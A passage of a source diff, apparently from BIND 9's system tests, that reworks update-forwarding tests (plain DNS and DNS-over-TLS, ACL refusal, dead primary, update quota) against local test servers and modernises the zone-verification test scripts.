+$NSUPDATE -y "${DEFAULT_HMAC}:update.example:c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K" -- - <<EOF || ret=1
+local 10.53.0.1
 server 10.53.0.3 ${PORT}
 update add updated.example. 600 A 10.10.10.1
 update add updated.example. 600 TXT Foo
 send
 EOF
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+wait_for_log_thrice
+
+echo_i "fetching primary copy of zone after update ($n)"
+ret=0
+$DIG $DIGOPTS example.\
+	@10.53.0.1 axfr > dig.out.ns1.example.after1 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
-echo_i "sleeping 15 seconds for server to incorporate changes"
-sleep 15
+echo_i "fetching secondary 1 copy of zone after update ($n)"
+ret=0
+$DIG $DIGOPTS example.\
+	@10.53.0.2 axfr > dig.out.ns2.example.after1 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+
+echo_i "fetching secondary 2 copy of zone after update ($n)"
+ret=0
+$DIG $DIGOPTS example.\
+	@10.53.0.3 axfr > dig.out.ns3.example.after1 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+
+echo_i "comparing post-update copies to known good data ($n)"
+ret=0
+digcomp knowngood.after1 dig.out.ns1.example.after1 || ret=1
+digcomp knowngood.after1 dig.out.ns2.example.after1 || ret=1
+digcomp knowngood.after1 dig.out.ns3.example.after1 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+
+echo_i "checking update forwarding of a zone (signed) (DoT -> DoT) ($n)"
+nextpart_thrice
+ret=0
+$NSUPDATE -y "${DEFAULT_HMAC}:update.example:c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K" -S -O -- - <<EOF || ret=1
+local 10.53.0.1
+server 10.53.0.3 ${TLSPORT}
+update add updated-dot.example. 600 A 10.10.10.1
+update add updated-dot.example. 600 TXT Foo
+send
+EOF
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+wait_for_log_thrice
 
 echo_i "fetching primary copy of zone after update ($n)"
 ret=0
 $DIG $DIGOPTS example.\
-	@10.53.0.1 axfr > dig.out.ns1 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+	@10.53.0.1 axfr > dig.out.ns1.example.after2 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
 echo_i "fetching secondary 1 copy of zone after update ($n)"
 ret=0
 $DIG $DIGOPTS example.\
-	@10.53.0.2 axfr > dig.out.ns2 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+	@10.53.0.2 axfr > dig.out.ns2.example.after2 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
 echo_i "fetching secondary 2 copy of zone after update ($n)"
 ret=0
 $DIG $DIGOPTS example.\
-	@10.53.0.3 axfr > dig.out.ns3 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+	@10.53.0.3 axfr > dig.out.ns3.example.after2 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
 echo_i "comparing post-update copies to known good data ($n)"
 ret=0
-digcomp knowngood.after1 dig.out.ns1 || ret=1
-digcomp knowngood.after1 dig.out.ns2 || ret=1
-digcomp knowngood.after1 dig.out.ns3 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+digcomp knowngood.after2 dig.out.ns1.example.after2 || ret=1
+digcomp knowngood.after2 dig.out.ns2.example.after2 || ret=1
+digcomp knowngood.after2 dig.out.ns3.example.after2 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-echo_i "checking 'forwarding update for zone' is logged ($n)"
+echo_i "checking 'forwarding update for zone' is logged twice ($n)"
 ret=0
-grep "forwarding update for zone 'example/IN'" ns3/named.run > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+cnt=$(grep -F "forwarding update for zone 'example/IN'" ns3/named.run | wc -l || ret=1)
+test "${cnt}" -eq 2 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
 if $FEATURETEST --enable-dnstap
 then
 	echo_i "checking DNSTAP logging of UPDATE forwarded update replies ($n)"
 	ret=0
 	capture_dnstap
-	uq_equals_ur || ret=1
+	uq_equals_ur example || ret=1
 	if [ $ret != 0 ] ; then echo_i "failed"; fi
-	status=`expr $status + $ret`
-	n=`expr $n + 1`
+	status=$((status + ret))
+	n=$((n + 1))
 fi
 
 echo_i "updating zone (unsigned) ($n)"
+nextpart_thrice
 ret=0
 $NSUPDATE -- - <<EOF || ret=1
+local 10.53.0.1
 server 10.53.0.3 ${PORT}
 update add unsigned.example. 600 A 10.10.10.1
 update add unsigned.example. 600 TXT Foo
 send
 EOF
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
-
-echo_i "sleeping 15 seconds for server to incorporate changes"
-sleep 15
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+wait_for_log_thrice
 
 echo_i "fetching primary copy of zone after update ($n)"
 ret=0
 $DIG $DIGOPTS example.\
-	@10.53.0.1 axfr > dig.out.ns1 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+	@10.53.0.1 axfr > dig.out.ns1.example.after3 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
 echo_i "fetching secondary 1 copy of zone after update ($n)"
 ret=0
 $DIG $DIGOPTS example.\
-	@10.53.0.2 axfr > dig.out.ns2 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+	@10.53.0.2 axfr > dig.out.ns2.example.after3 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
 echo_i "fetching secondary 2 copy of zone after update ($n)"
 ret=0
 $DIG $DIGOPTS example.\
-	@10.53.0.3 axfr > dig.out.ns3 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+	@10.53.0.3 axfr > dig.out.ns3.example.after3 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
 echo_i "comparing post-update copies to known good data ($n)"
 ret=0
-digcomp knowngood.after2 dig.out.ns1 || ret=1
-digcomp knowngood.after2 dig.out.ns2 || ret=1
-digcomp knowngood.after2 dig.out.ns3 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+digcomp knowngood.after3 dig.out.ns1.example.after3 || ret=1
+digcomp knowngood.after3 dig.out.ns2.example.after3 || ret=1
+digcomp knowngood.after3 dig.out.ns3.example.after3 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-if $FEATURETEST --enable-dnstap
-then
-	echo_i "checking DNSTAP logging of UPDATE forwarded update replies ($n)"
-	ret=0
-	capture_dnstap
-	uq_equals_ur || ret=1
-	if [ $ret != 0 ] ; then echo_i "failed"; fi
-	status=`expr $status + $ret`
-	n=`expr $n + 1`
-fi
-n=`expr $n + 1`
+echo_i "fetching primary copy of zone before update, first primary fails ($n)"
+ret=0
+$DIG $DIGOPTS example3.\
+	@10.53.0.1 axfr > dig.out.ns1.example3.before || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
-echo_i "checking update forwarding to dead primary ($n)"
-count=0
+echo_i "fetching secondary 1 copy of zone before update, first primary fails ($n)"
+$DIG $DIGOPTS example3.\
+	@10.53.0.2 axfr > dig.out.ns2.example3.before || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+
+echo_i "fetching secondary 2 copy of zone before update, first primary fails ($n)"
 ret=0
-while [ $count -lt 5 -a $ret -eq 0 ]
-do
-(
-$NSUPDATE -- - <<EOF 
+$DIG $DIGOPTS example3.\
+	@10.53.0.3 axfr > dig.out.ns3.example3.before || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+
+echo_i "comparing pre-update copies to known good data, first primary fails ($n)"
+ret=0
+digcomp knowngood.before.example3 dig.out.ns1.example3.before || ret=1
+digcomp knowngood.before.example3 dig.out.ns2.example3.before || ret=1
+digcomp knowngood.before.example3 dig.out.ns3.example3.before || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+
+echo_i "checking update forwarding of a zone (signed) (Do53 -> DoT) ($n)"
+nextpart_thrice
+ret=0
+$NSUPDATE -y "${DEFAULT_HMAC}:update.example:c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K" -- - <<EOF || ret=1
+local 10.53.0.1
 server 10.53.0.3 ${PORT}
-zone nomaster
-update add unsigned.nomaster. 600 A 10.10.10.1
-update add unsigned.nomaster. 600 TXT Foo
+update add updated.example3. 600 A 10.10.10.1
+update add updated.example3. 600 TXT Foo
 send
 EOF
-) > /dev/null 2>&1 &
-	$DIG -p ${PORT} +noadd +notcp +noauth nomaster. @10.53.0.3 soa > dig.out.ns3 || ret=1
-	grep "status: NOERROR" dig.out.ns3 > /dev/null || ret=1
-	count=`expr $count + 1`
-done
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+wait_for_log_thrice
+
+echo_i "fetching primary copy of zone after update, first primary fails ($n)"
+ret=0
+$DIG $DIGOPTS example3.\
+	@10.53.0.1 axfr > dig.out.ns1.example3.after1 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+
+echo_i "fetching secondary 1 copy of zone after update, first primary fails ($n)"
+ret=0
+$DIG $DIGOPTS example3.\
+	@10.53.0.2 axfr > dig.out.ns2.example3.after1 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+
+echo_i "fetching secondary 2 copy of zone after update, first primary fails ($n)"
+ret=0
+$DIG $DIGOPTS example3.\
+	@10.53.0.3 axfr > dig.out.ns3.example3.after1 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+
+echo_i "comparing post-update copies to known good data, first primary fails ($n)"
+ret=0
+digcomp knowngood.after1.example3 dig.out.ns1.example3.after1 || ret=1
+digcomp knowngood.after1.example3 dig.out.ns2.example3.after1 || ret=1
+digcomp knowngood.after1.example3 dig.out.ns3.example3.after1 || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
 if $FEATURETEST --enable-dnstap
 then
 	echo_i "checking DNSTAP logging of UPDATE forwarded update replies ($n)"
 	ret=0
 	capture_dnstap
-	uq_equals_ur && ret=1
+	uq_equals_ur example3 || ret=1
 	if [ $ret != 0 ] ; then echo_i "failed"; fi
-	status=`expr $status + $ret`
-	n=`expr $n + 1`
+	status=$((status + ret))
+	n=$((n + 1))
 fi
+n=$((n + 1))
 
 if test -f keyname
 then
-	echo_i "checking update forwarding to with sig0 ($n)"
+	echo_i "checking update forwarding with sig0 (Do53 -> Do53) ($n)"
+	nextpart_thrice
 	ret=0
-	keyname=`cat keyname`
-	$NSUPDATE -k $keyname.private -- - <<EOF
+	keyname=$(cat keyname)
+	$NSUPDATE -k $keyname.private -- - <<EOF || ret=1
+	local 10.53.0.1
 	server 10.53.0.3 ${PORT}
 	zone example2
 	update add unsigned.example2. 600 A 10.10.10.1
 	update add unsigned.example2. 600 TXT Foo
 	send
 EOF
+	if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+	n=$((n + 1))
+	wait_for_log_thrice
+
 	$DIG -p ${PORT} unsigned.example2 A @10.53.0.1 > dig.out.ns1.test$n
 	grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 	if [ $ret != 0 ] ; then echo_i "failed"; fi
-	status=`expr $status + $ret`
-	n=`expr $n + 1`
+	status=$((status + ret))
+	n=$((n + 1))
 
 	if $FEATURETEST --enable-dnstap
 	then
 		echo_i "checking DNSTAP logging of UPDATE forwarded update replies ($n)"
 		ret=0
 		capture_dnstap
-		uq_equals_ur || ret=1
+		uq_equals_ur example2 || ret=1
 		if [ $ret != 0 ] ; then echo_i "failed"; fi
-		status=`expr $status + $ret`
-		n=`expr $n + 1`
+		status=$((status + ret))
+		n=$((n + 1))
+	fi
+
+	echo_i "checking update forwarding with sig0 (DoT -> Do53) ($n)"
+	nextpart_thrice
+	ret=0
+	keyname=$(cat keyname)
+	$NSUPDATE -k $keyname.private -S -O -- - <<EOF || ret=1
+        local 10.53.0.1
+	server 10.53.0.3 ${TLSPORT}
+	zone example2
+	update add unsigned-dot.example2. 600 A 10.10.10.1
+	update add unsigned-dot.example2. 600 TXT Foo
+	send
+EOF
+	if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+	n=$((n + 1))
+	wait_for_log_thrice
+
+	$DIG -p ${PORT} unsigned-dot.example2 A @10.53.0.1 > dig.out.ns1.test$n
+	grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
+	if [ $ret != 0 ] ; then echo_i "failed"; fi
+	status=$((status + ret))
+	n=$((n + 1))
+
+	if $FEATURETEST --enable-dnstap
+	then
+		echo_i "checking DNSTAP logging of UPDATE forwarded update replies ($n)"
+		ret=0
+		capture_dnstap
+		uq_equals_ur example2 || ret=1
+		if [ $ret != 0 ] ; then echo_i "failed"; fi
+		status=$((status + ret))
+		n=$((n + 1))
 	fi
 fi
 
+echo_i "attempting an update that should be rejected by ACL ($n)"
+ret=0
+{
+        $NSUPDATE -- - << EOF
+        local 10.53.0.2
+        server 10.53.0.3 ${PORT}
+        update add another.unsigned.example. 600 A 10.10.10.2
+        update add another.unsigned.example. 600 TXT Bar
+        send
+EOF
+} > nsupdate.out.$n 2>&1 && ret=1
+grep REFUSED nsupdate.out.$n > /dev/null || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+
+echo_i "checking update forwarding to dead primary ($n)"
+count=0
+ret=0
+while [ $count -lt 5 -a $ret -eq 0 ]
+do
+(
+$NSUPDATE -- - <<EOF
+local 10.53.0.1
+server 10.53.0.3 ${PORT}
+zone noprimary
+update add unsigned.noprimary. 600 A 10.10.10.1
+update add unsigned.noprimary. 600 TXT Foo
+send
+EOF
+) > /dev/null 2>&1 &
+	$DIG -p ${PORT} +noadd +notcp +noauth noprimary. @10.53.0.3 soa > dig.out.ns3.test$n.$count || ret=1
+	grep "status: NOERROR" dig.out.ns3.test$n.$count > /dev/null || ret=1
+	count=$((count + 1))
+done
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
+
+echo_i "waiting for nsupdate to finish ($n)"
+wait
+n=$((n + 1))
+
+if $FEATURETEST --enable-dnstap
+then
+	echo_i "checking DNSTAP logging of UPDATE forwarded update replies ($n)"
+	ret=0
+	capture_dnstap
+	uq_equals_ur noprimary && ret=1
+	if [ $ret != 0 ] ; then echo_i "failed"; fi
+	status=$((status + ret))
+	n=$((n + 1))
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "attempting updates that should exceed quota ($n)"
+# lower the update quota to 1.
+copy_setports ns3/named2.conf.in ns3/named.conf
+rndc_reconfig ns3 10.53.0.3
+nextpart ns3/named.run > /dev/null
+for loop in 1 2 3 4 5 6 7 8 9 10; do
+{
+  $NSUPDATE -- - > /dev/null 2>&1 <<END
+  local 10.53.0.1
+  server 10.53.0.3 ${PORT}
+  update add txt-$loop.unsigned.example 300 IN TXT Whatever
+  send
+END
+} &
+done
+wait_for_log 10 "too many DNS UPDATEs queued" ns3/named.run || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/upforwd/tests_sh_upforwd.py b/bin/tests/system/upforwd/tests_sh_upforwd.py
new file mode 100644
index 0000000000..35bcc64f34
--- /dev/null
+++ b/bin/tests/system/upforwd/tests_sh_upforwd.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_upforwd(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/verify/clean.sh b/bin/tests/system/verify/clean.sh
index 6e14f82823..ee2af33214 100644
--- a/bin/tests/system/verify/clean.sh
+++ b/bin/tests/system/verify/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,3 +19,4 @@ rm -f zones/*.out*
 rm -f zones/*.tmp
 rm -f zones/K*
 rm -f zones/dsset-*
+rm -f zones/updated*
diff --git a/bin/tests/system/verify/setup.sh b/bin/tests/system/verify/setup.sh
index ee042c250b..08af706da3 100644
--- a/bin/tests/system/verify/setup.sh
+++ b/bin/tests/system/verify/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/verify/tests.sh b/bin/tests/system/verify/tests.sh
index 05cc13ab0e..1ac5bcc02d 100644
--- a/bin/tests/system/verify/tests.sh
+++ b/bin/tests/system/verify/tests.sh
@@ -1,12 +1,18 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 failed () {
 	cat verify.out.$n | sed 's/^/D:/';
@@ -19,8 +25,8 @@ status=0
 
 for file in zones/*.good
 do
-	n=`expr $n + 1`
-	zone=`expr "$file" : 'zones/\(.*\).good'`
+	n=$((n+1))
+	zone=$(expr "$file" : 'zones/\(.*\).good')
 	echo_i "checking supposedly good zone: $zone ($n)"
 	ret=0
 	case $zone in
@@ -34,8 +40,8 @@ done
 
 for file in zones/*.bad
 do
-	n=`expr $n + 1`
-	zone=`expr "$file" : 'zones/\(.*\).bad'`
+	n=$((n+1))
+	zone=$(expr "$file" : 'zones/\(.*\).bad')
 	echo_i "checking supposedly bad zone: $zone ($n)"
 	ret=0
 	dumpit=0
@@ -86,7 +92,7 @@ do
 	[ $dumpit = 1 ] && cat verify.out.$n
 done
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking error message when -o is not used and a SOA record not at top of zone is found ($n)"
 ret=0
 # When -o is not used, origin is set to zone file name, which should cause an error in this case
@@ -95,7 +101,7 @@ grep "not at top of zone" verify.out.$n > /dev/null || ret=1
 grep "use -o to specify a different zone origin" verify.out.$n > /dev/null || ret=1
 [ $ret = 0 ] || failed
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking error message when an invalid -o is specified and a SOA record not at top of zone is found ($n)"
 ret=0
 $VERIFY -o invalid.origin zones/ksk+zsk.nsec.good > verify.out.$n 2>&1 && ret=1
@@ -103,5 +109,10 @@ grep "not at top of zone" verify.out.$n > /dev/null || ret=1
 grep "use -o to specify a different zone origin" verify.out.$n > /dev/null && ret=1
 [ $ret = 0 ] || failed
 
+n=$((n+1))
+echo_i "checking dnssec-verify -J reads journal file ($n)"
+$VERIFY -o updated -J zones/updated.other.jnl zones/updated.other > verify.out.$n 2>&1 || ret=1
+[ $ret = 0 ] || failed
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/verify/tests_sh_verify.py b/bin/tests/system/verify/tests_sh_verify.py
new file mode 100644
index 0000000000..2fd0c5c203
--- /dev/null
+++ b/bin/tests/system/verify/tests_sh_verify.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_verify(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/verify/zones/genzones.sh b/bin/tests/system/verify/zones/genzones.sh
index 2ec425ac7c..4b0508a5d9 100644
--- a/bin/tests/system/verify/zones/genzones.sh
+++ b/bin/tests/system/verify/zones/genzones.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,12 +19,13 @@ dumpit () {
 	echo_d "${debug}: dumping ${1}"
 	cat "${1}" | cat_d
 }
+
 setup () {
 	echo_i "setting up $2 zone: $1"
 	debug="$1"
 	zone="$1"
 	file="$1.$2"
-	n=`expr ${n:-0} + 1`
+	n=$((${n:-0} + 1))
 }
 
 # A unsigned zone should fail validation.
@@ -29,47 +34,47 @@ cp unsigned.db unsigned.bad
 
 # A set of nsec zones.
 setup zsk-only.nsec good
-$KEYGEN -a rsasha256 ${zone}> kg.out$n 2>&1 || dumpit kg.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone}> kg.out$n 2>&1 || dumpit kg.out$n
 $SIGNER -SP -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk-only.nsec good
-$KEYGEN -a rsasha256 -fK ${zone} > kg.out$n 2>&1 || dumpit kg.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg.out$n 2>&1 || dumpit kg.out$n
 $SIGNER -SPz -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk+zsk.nsec good
-$KEYGEN -a rsasha256 ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
-$KEYGEN -a rsasha256 -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
 $SIGNER -SPx -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk+zsk.nsec.apex-dname good
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cp unsigned.db ${file}.tmp
 echo "@ DNAME data" >> ${file}.tmp
 $SIGNER -SP -o ${zone} -f ${file} ${file}.tmp > s.out$n || dumpit s.out$n
 
 # A set of nsec3 zones.
 setup zsk-only.nsec3 good
-$KEYGEN -a rsasha256 ${zone}> kg.out$n 2>&1 || dumpit kg.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone}> kg.out$n 2>&1 || dumpit kg.out$n
 $SIGNER -3 - -SP -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk-only.nsec3 good
-$KEYGEN -a rsasha256 -fK ${zone} > kg.out$n 2>&1 || dumpit kg.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg.out$n 2>&1 || dumpit kg.out$n
 $SIGNER -3 - -SPz -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk+zsk.nsec3 good
-$KEYGEN -a rsasha256 ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
-$KEYGEN -a rsasha256 -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
 $SIGNER -3 - -SPx -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk+zsk.optout good
-$KEYGEN -a rsasha256 ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
-$KEYGEN -a rsasha256 -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
 $SIGNER -3 - -A -SPx -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk+zsk.nsec3.apex-dname good
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cp unsigned.db ${file}.tmp
 echo "@ DNAME data" >> ${file}.tmp
 $SIGNER -3 - -SP -o ${zone} -f ${file} ${file}.tmp > s.out$n || dumpit s.out$n
@@ -81,8 +86,8 @@ $SIGNER -3 - -SP -o ${zone} -f ${file} ${file}.tmp > s.out$n || dumpit s.out$n
 # becomes foo when the zone is loaded.
 #
 setup nsec-next-name-case-mismatch good
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat << EOF > ${zone}.tmp
 \$TTL 0
 @ IN SOA  foo . ( 1 28800 7200 604800 1800 )
@@ -98,71 +103,71 @@ sed 's/^FOO\./foo\./' < ${file}.tmp > ${file}
 
 # A set of zones with only DNSKEY records.
 setup zsk-only.dnskeyonly bad
-key1=`$KEYGEN -a rsasha256 ${zone} 2>kg.out` || dumpit kg.out$n
+key1=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2>kg.out) || dumpit kg.out$n
 cat unsigned.db $key1.key > ${file}
 
 setup ksk-only.dnskeyonly bad
-key1=`$KEYGEN -a rsasha256 -fK ${zone} 2>kg.out` || dumpit kg.out$n
+key1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2>kg.out) || dumpit kg.out$n
 cat unsigned.db $key1.key > ${file}
 
 setup ksk+zsk.dnskeyonly bad
-key1=`$KEYGEN -a rsasha256 ${zone} 2>kg.out` || dumpit kg.out$n
-key2=`$KEYGEN -a rsasha256 -fK ${zone} 2>kg.out` || dumpit kg.out$n
+key1=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2>kg.out) || dumpit kg.out$n
+key2=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2>kg.out) || dumpit kg.out$n
